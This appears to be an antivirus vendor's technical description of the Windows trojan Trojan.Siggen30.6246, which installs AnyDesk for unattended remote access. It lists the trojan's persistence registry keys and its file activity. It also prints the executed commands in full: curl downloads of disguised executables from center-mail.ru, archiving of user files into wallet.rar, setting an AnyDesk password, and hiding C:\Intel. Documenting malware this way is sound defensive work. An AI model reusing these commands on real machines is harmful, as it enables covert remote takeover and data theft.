Trojan.Siggen30.6246

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Video Configurations' = 'C:\Intel\Trays\trays.lnk'
[HKLM\Software\Classes\.anydesk\shell\open\command] '' = '"C:\Intel\AnyDesk\AnyDesk.exe" --play "%1"'
[HKLM\Software\Classes\AnyDesk\shell\open\command] '' = '"C:\Intel\AnyDesk\AnyDesk.exe" "%1"'

Sets the following service settings

[HKLM\System\CurrentControlSet\Services\AnyDesk] 'Start' = '00000002'
[HKLM\System\CurrentControlSet\Services\AnyDesk] 'ImagePath' = '"C:\Intel\AnyDesk\AnyDesk.exe" --service'

Creates the following services

'AnyDesk' "C:\Intel\AnyDesk\AnyDesk.exe" --service

Malicious functions

Creates and loads libraries (exploit)

C:\intel\trays\shelleh6055x64.dll

Modifies file system

Creates the following files

%TEMP%\$inst\2.tmp
C:\intel\trays\locale\zh_tw\lc_messages\default.mo
C:\intel\trays\newsletter.url
C:\intel\trays\order.txt
C:\intel\trays\order.url
C:\intel\trays\product.url
C:\intel\trays\readme.txt
C:\intel\trays\shelleh6055.dll
C:\intel\trays\shelleh6055x64.dll
C:\intel\trays\tray.dll
C:\intel\trays\trays.exe
C:\intel\trays\4t-min_pad.xml
C:\intel\trays\trays.lnk
C:\intel\trays\unins000.exe
C:\intel\trays\whatsnew.txt
C:\intel\trays\wishlist.url
%APPDATA%\4t niagara software\4t tray minimizer\trays.log
%APPDATA%\anydesk\ad.trace
%APPDATA%\anydesk\user.conf
%APPDATA%\anydesk\system.conf
%APPDATA%\anydesk\service.conf
C:\intel\anydesk\anydesk.exe
%ALLUSERSPROFILE%\anydesk\system.conf
C:\intel\trays\locale\tr\lc_messages\default.mo
C:\intel\trays\locale\zh_cn\lc_messages\default.mo
C:\intel\trays\locale\ru\lc_messages\default.mo
C:\intel\trays\locale\pt_br\lc_messages\default.mo
C:\intel\trays\locale\it\lc_messages\default.mo
C:\intel\Г§Г ГџГўГ«ГҐГГЁГҐ ГГ Г§Г ГЄГ°Г»ГІГЁГҐ Г±Г—ГҐГІГ .docx
C:\intel\curl.exe
C:\intel\anydesk\bat.lnk
C:\intel\rezet.cmd
C:\intel\~$ГџГўГ«ГҐГГЁГҐ ГГ Г§Г ГЄГ°Г»ГІГЁГҐ Г±Г—ГҐГІГ .docx
C:\intel\driver.exe
C:\intel\blat.exe
C:\intel\svchost.exe
C:\intel\trays.rar
C:\intel\trays\4t-min.chm
%ALLUSERSPROFILE%\anydesk\ad_svc.trace
C:\intel\trays\unins000.dat
C:\intel\trays\4t-min64.exe
C:\intel\trays\company.url
C:\intel\trays\contact.url
C:\intel\trays\delreg.exe
C:\intel\trays\faq.url
C:\intel\trays\file_id.diz
C:\intel\trays\license.txt
C:\intel\trays\locale\de\lc_messages\default.mo
C:\intel\trays\locale\de2\lc_messages\default.mo
C:\intel\trays\locale\es\lc_messages\default.mo
C:\intel\trays\locale\fr\lc_messages\default.mo
%TEMP%\$inst\temp_0.tmp
C:\intel\trays\7z.dll
%ALLUSERSPROFILE%\anydesk\service.conf

Deletes the following files

%TEMP%\$inst\temp_0.tmp
%TEMP%\$inst\2.tmp
C:\intel\curl.exe
C:\intel\trays.rar
C:\intel\svchost.exe

Network activity

Connects to

'ce###r-mail.ru':80
'4t###agara.com':80
'bo##.##t.anydesk.com':443
'bo##.##t.anydesk.com':80
'bo##.##t.anydesk.com':6568

TCP

HTTP GET requests

http://ce###r-mail.ru/driver.jpg
http://ce###r-mail.ru/blat.jpg
http://ce###r-mail.ru/svchost.jpg
http://ce###r-mail.ru/Trays.jpg
http://ce###r-mail.ru/bat.jpg

HTTP POST requests

http://www.4t###agara.com/checkupdate.php

Other

'bo##.##t.anydesk.com':443
'bo##.##t.anydesk.com':80
'bo##.##t.anydesk.com':6568

UDP

DNS ASK ce###r-mail.ru
DNS ASK 4t###agara.com
DNS ASK bo##.##t.anydesk.com

Miscellaneous

Searches for the following windows

ClassName: 'TMinimizerMainForm' WindowName: ''

Creates and executes the following

'C:\intel\curl.exe' -o C:\Intel\driver.exe http://center-mail.ru/driver.jpg
'C:\intel\driver.exe' a -r -hplimpid2903392 C:\Intel\wallet.rar C:\*В»ГЎαВ«ВЅ*.* /y
'C:\intel\curl.exe' -o C:\Intel\AnyDesk\wol.ps1 http://center-mail.ru/wol.jpg
'C:\intel\anydesk\anydesk.exe' --set-password _unattended_access
'C:\intel\curl.exe' -o C:\Intel\AnyDesk\bat.bat http://center-mail.ru/bat.jpg
'C:\intel\anydesk\anydesk.exe' --new-install
'C:\intel\anydesk\anydesk.exe' --control
'C:\intel\anydesk\anydesk.exe' --service
'C:\intel\driver.exe' a -r -hplimpid2903392 C:\Intel\wallet.rar C:\*В¬ГЎαΓ*.* /y
'C:\intel\svchost.exe' --local-control
'C:\intel\trays\4t-min64.exe' "C:\Intel\Trays\ShellEh6055x64.dll"
'C:\intel\svchost.exe' --install C:\Intel\AnyDesk
'C:\intel\trays\trays.exe' -tray
'C:\intel\driver.exe' x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
'C:\intel\curl.exe' -o C:\Intel\Trays.rar http://center-mail.ru/Trays.jpg
'C:\intel\curl.exe' -o C:\Intel\svchost.exe http://center-mail.ru/svchost.jpg
'C:\intel\curl.exe' -o C:\Intel\blat.exe http://center-mail.ru/blat.jpg
'C:\intel\svchost.exe' --local-service
'C:\intel\driver.exe' a -r -hplimpid2903392 C:\Intel\wallet.rar C:\*В¬В«ΦГ‘ВЅ∞В¬*.* /y

Executes the following

'%ProgramFiles%\microsoft office\office14\winword.exe' /n "C:\Intel\Г‡ГЂГџГ‚Г‹Г…ГЌГ€Г… ГЌГЂ Г‡ГЂГЉГђГ›Г’Г€Г… Г‘Г—Г…Г’ГЂ.docx"
'%WINDIR%\syswow64\powercfg.exe' -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
'%WINDIR%\syswow64\cmd.exe' /c ""C:\Intel\rezet.cmd" "
'%WINDIR%\syswow64\ping.exe' -n 6 127.0.0.1
'%WINDIR%\syswow64\cmd.exe' /c ""C:\Intel\AnyDesk\bat.bat" "
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echo QWERTY1234566 "
'%WINDIR%\syswow64\powercfg.exe' -change -hibernate-timeout-ac 0
'%WINDIR%\syswow64\powercfg.exe' -h off
'%WINDIR%\syswow64\powercfg.exe' /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
'%WINDIR%\syswow64\powercfg.exe' /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://center-mail.ru/bat.jpg
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk
'%WINDIR%\syswow64\powercfg.exe' -change -standby-timeout-ac 0
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk
'%WINDIR%\syswow64\cmd.exe' /c echo>C:\Intel\rezet.cmd cd C:\Intel\
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://center-mail.ru/Trays.jpg
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://center-mail.ru/blat.jpg
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://center-mail.ru/svchost.jpg
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://center-mail.ru/driver.jpg
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk
'%WINDIR%\syswow64\schtasks.exe' /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
'%WINDIR%\syswow64\attrib.exe' +s +h C:\Intel
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://center-mail.ru/bat.jpg' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://center-mail.ru/blat.jpg' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""C:\Intel\rezet.cmd" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://center-mail.ru/driver.jpg' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://center-mail.ru/Trays.jpg' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1' (with hidden window)
'%WINDIR%\syswow64\attrib.exe' +s +h C:\Intel' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>C:\Intel\rezet.cmd cd C:\Intel\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://center-mail.ru/svchost.jpg' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk' (with hidden window)

技术

术语

教育培训

误区

Technical Information

Curing recommendations

Free trial